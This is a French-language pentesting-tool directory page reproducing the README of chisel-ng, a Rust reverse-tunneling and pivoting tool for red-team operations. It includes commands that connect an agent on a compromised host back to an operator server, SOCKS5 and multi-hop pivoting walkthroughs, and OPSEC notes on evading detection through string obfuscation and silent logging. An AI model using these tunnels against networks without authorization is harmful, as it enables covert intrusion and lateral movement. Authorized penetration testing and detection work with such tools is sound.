Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
chisel-ng — Chisel nouvelle génération, écrit en Rust. SSH via WSS avec quelques personnalisations. | Kitploit
Outils/GitHubGitHub/nullsection/chisel-ng
Évasion IDS/IPSMouvement LatéralPost-ExploitationSécurité RéseauTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à Distance
GitHubnullsection/chisel-ng

chisel-ng

Chisel nouvelle génération, écrit en Rust. SSH via WSS avec quelques personnalisations.

Voir le dépôt
136917il y a 8 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
_     _          _
   ___| |__ (_)___  ___| |      _ __   __ _
  / __| '_ \| / __|/ _ \ |_____| '_ \ / _` |
 | (__| | | | \__ \  __/ |_____| | | | (_| |
  \___|_| |_|_|___/\___|_|     |_| |_|\__, |
                                      |___/

# chisel-ng

![Rust](https://img.shields.io/badge/rust-1.70+-b7410e.svg)
![License](https://img.shields.io/badge/license-MIT-blue.svg)
![Windows](https://img.shields.io/badge/platform-windows-0078d4.svg)
![Linux](https://img.shields.io/badge/platform-linux-fcc624.svg)

Une implémentation en Rust de [chisel](https://github.com/jpillora/chisel) pour les tests de pénétration et les opérations d'équipe rouge. Établit des tunnels inversés via SSH-over-WebSocket-over-TLS, permettant aux opérateurs de pivoter à travers des hôtes compromis tout en se fondant dans le trafic HTTPS normal.

---

## Table des matières

- [Démarrage rapide](#quick-start)
- [Fonctionnalités](#features)
- [Architecture](#architecture)
- [Référence d'utilisation](#usage-reference)
  - [Serveur](#server-operator)
  - [Client inverse](#reverse-client-agent)
  - [Client bind](#bind-client-agent---inbound-mode)
  - [Commandes CLI](#server-cli-commands)
- [Pivotement multi-sauts](#multi-hop-pivoting)
- [Détails techniques](#technical-details)
- [Considérations OPSEC](#opsec-considerations)
- [Avertissement](#disclaimer)

---

## Démarrage rapide

### Prérequis

- Rust 1.70+ ([rustup.rs](https://rustup.rs/))

### Compilation

```bash
git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release
```

Les binaires sont générés dans `target/release/` : `chisel-server`, `chisel-client`, `chisel-bind-client`

### Utilisation de base

**1. Démarrer le serveur (opérateur) :**
```bash
./chisel-server -p 'secret' -v
```

**2. Exécuter le client (cible) :**
```bash
./chisel-client -s operator.example.com:8443 -p 'secret' -k
```

**3. Créer des tunnels :**
```
chisel-ng> session 1
[session-1] TARGET > tunnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080
```

**4. Accéder aux services internes :**
```bash
curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/
```

---

## Fonctionnalités

- **SSH over WebSocket over TLS** - Se fond dans le trafic HTTPS normal
- **Authentification par clé pré-partagée** - Authentification simple et sécurisée
- **Redirection de port dynamique** - Création de tunnels à la demande
- **Proxy SOCKS5** - Routage dynamique via les agents
- **Deux modes client** - Inverse (connexion sortante) et bind (connexion entrante)
- **Multi-plateforme** - Windows et Linux

---

## Architecture

```
+------------------+              +----------------------------------+
|     Operator     |              |         Target Network           |
|                  |              |                                  |
| +--------------+ |     SSH      | +--------------+                 |
| |chisel-server |<---------------+-|chisel-client |                 |
| |    :8443     | |   (over TLS) | |  (reverse)   |                 |
| +--------------+ |              | +--------------+                 |
+------------------+              +----------------------------------+
```

**Pile de protocoles :**
```
TCP -> TLS 1.3 -> WebSocket -> SSH -> Tunnel Data
                     ^
            apparaît comme HTTPS
```

**Modes client :**
- **Inverse** (`chisel-client`) - Se connecte au serveur en sortie
- **Bind** (`chisel-bind-client`) - Écoute les connexions entrantes ; le serveur utilise la commande `connect`

---

## Référence d'utilisation

<details>
<summary><strong>Serveur (Opérateur)</strong></summary>

```
OPTIONS:
    -l, --listen <ADDR>      Adresse d'écoute [default: 0.0.0.0:8443]
    -p, --psk <PSK>          Clé pré-partagée ou phrase de passe [env: CHISEL_PSK]
        --cert <FILE>        Certificat TLS (PEM)
        --key <FILE>         Clé privée TLS (PEM)
        --generate-psk       Générer une PSK aléatoire et quitter
    -v, --verbose            Sortie verbeuse
```
</details>

<details>
<summary><strong>Client inverse (Agent)</strong></summary>

```
OPTIONS:
    -s, --server <ADDR>      Adresse du serveur (hôte:port)
    -p, --psk <PSK>          Clé pré-partagée ou phrase de passe [env: CHISEL_PSK]
    -u, --user <LABEL>       Étiquette de session [default: agent]
    -k, --insecure           Ignorer la vérification TLS
        --no-reconnect       Désactiver la reconnexion automatique
    -i, --interval <SECS>    Intervalle de reconnexion [default: 30]
        --heartbeat <SECS>   Intervalle de pulsation [default: 30]
    -v, --verbose            Sortie verbeuse
```
</details>

<details>
<summary><strong>Client bind (Agent - Mode entrant)</strong></summary>

Pour les cibles qui peuvent accepter des connexions entrantes mais pas initier de connexions sortantes :

```
OPTIONS:
    -l, --listen <ADDR>      Adresse d'écoute (ex. 0.0.0.0:9000)
    -p, --psk <PSK>          Clé pré-partagée ou phrase de passe [env: CHISEL_PSK]
    -u, --user <LABEL>       Étiquette de session [default: agent]
    -k, --insecure           Ignorer la vérification TLS
        --heartbeat <SECS>   Intervalle de pulsation [default: 30]
    -v, --verbose            Sortie verbeuse
```
</details>

<details>
<summary><strong>Commandes CLI du serveur</strong></summary>

**Menu principal :**
```
sessions             Lister les sessions connectées
session <id>         Sélectionner une session
connect <ip:port>    Se connecter au client bind
disconnect <id>      Déconnecter la session (reconnexion automatique)
kill <id>            Terminer le processus client
```

**Menu de session :**
```
tunnel <local>:<target_ip>:<target_port>    Créer un tunnel
tunnel --local <local>:<target>:<port>      Créer un tunnel (localhost uniquement)
tunnel stop <port>                          Arrêter le tunnel
tunnels                                     Lister les tunnels
socks5 <port>                               Démarrer le proxy SOCKS5
socks5 stop <port>                          Arrêter le proxy SOCKS5
ping                                        Mesurer la latence
ps                                          Lister les processus distants
netstat                                     Lister les connexions distantes
```
</details>

---

## Pivotement multi-sauts

Atteindre des réseaux isolés en enchaînant les sessions existantes.

**Scénario :** L'hôte DMZ peut atteindre l'opérateur. L'hôte interne (10.0.0.50) n'est accessible que depuis la DMZ.

```
+----------+        +-----------+        +------------+
| Operator |--SSH---| Session 1 |--TCP---| Session 2  |
|  Server  |        |   (DMZ)   |        | (INTERNAL) |
+----------+        +-----------+        +------------+
```

**Étape 1 - Démarrer le serveur (opérateur) :**
```bash
./chisel-server -p 'secret' -v
```

**Étape 2 - Exécuter le client inverse (hôte DMZ) :**
```bash
./chisel-client -s operator.example.com:8443 -p 'secret' -k
```

**Étape 3 - Exécuter le client bind (hôte interne à 10.0.0.50) :**
```bash
./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k
```

**Étape 4 - Créer un tunnel et se connecter (CLI serveur) :**
```
chisel-ng> session 1
[session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
Tunnel started on 127.0.0.1:9000

[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
Session 2 registered

chisel-ng> session 2
[session-2] INTERNAL > socks5 1080
```

---

## Détails techniques

<details>
<summary><strong>Comment fonctionnent les tunnels</strong></summary>

Lors de la création d'un tunnel (`tunnel 8080:192.168.1.100:80`) :

1. Le serveur lie le port local 8080
2. Sur connexion, le serveur envoie une requête CONNECT à l'agent
3. L'agent se connecte à la cible et ouvre un canal SSH direct-tcpip
4. Les données sont pontées de manière bidirectionnelle
</details>

<details>
<summary><strong>Comment fonctionne SOCKS5</strong></summary>

Destinations dynamiques via la poignée de main RFC 1928. Retourne des codes d'erreur appropriés pour des résultats de scan de ports précis.
</details>

---

## Considérations OPSEC

<details>
<summary><strong>Durcissement du binaire</strong></summary>

Les builds release sont durcis :

- **Opération silencieuse** - Toute journalisation est compilée en no-op
- **Obscurcissement des chaînes** - Les chaînes de protocole sont cryptées par XOR à la compilation
- **Suppression des symboles** - Aucun symbole de débogage ni chemin source
- **Optimisation de la taille** - ~3 Mo contre ~15 Mo en debug
- **Comportement en cas de panique** - Arrêt immédiat, aucune trace de pile
</details>

<details>
<summary><strong>Sécurité opérationnelle</strong></summary>

- **Authentification PSK** - Clé 256 bits à partir d'une phrase de passe (SHA-256) ou hexadécimal brut
- **Aucun stockage d'identifiants** - PSK uniquement via argument ou variable d'environnement
- **Reconnexion automatique** - Activée par défaut, intervalle configurable
- **Pulsation** - Keepalive configurable, désactiver avec `--heartbeat 0`
</details>

<details>
<summary><strong>Vecteurs de détection</strong></summary>

- Empreinte TLS JA3/JA4
- Modèles de mise à niveau WebSocket
- Durée de connexion prolongée
- Intervalles de pulsation constants
</details>

---

## Avertissement

Cet outil est destiné uniquement aux tests de sécurité autorisés. Obtenez les autorisations appropriées avant utilisation. Les auteurs ne sont pas responsables d'une mauvaise utilisation.

---

## Licence

MIT
Télécharger l’outil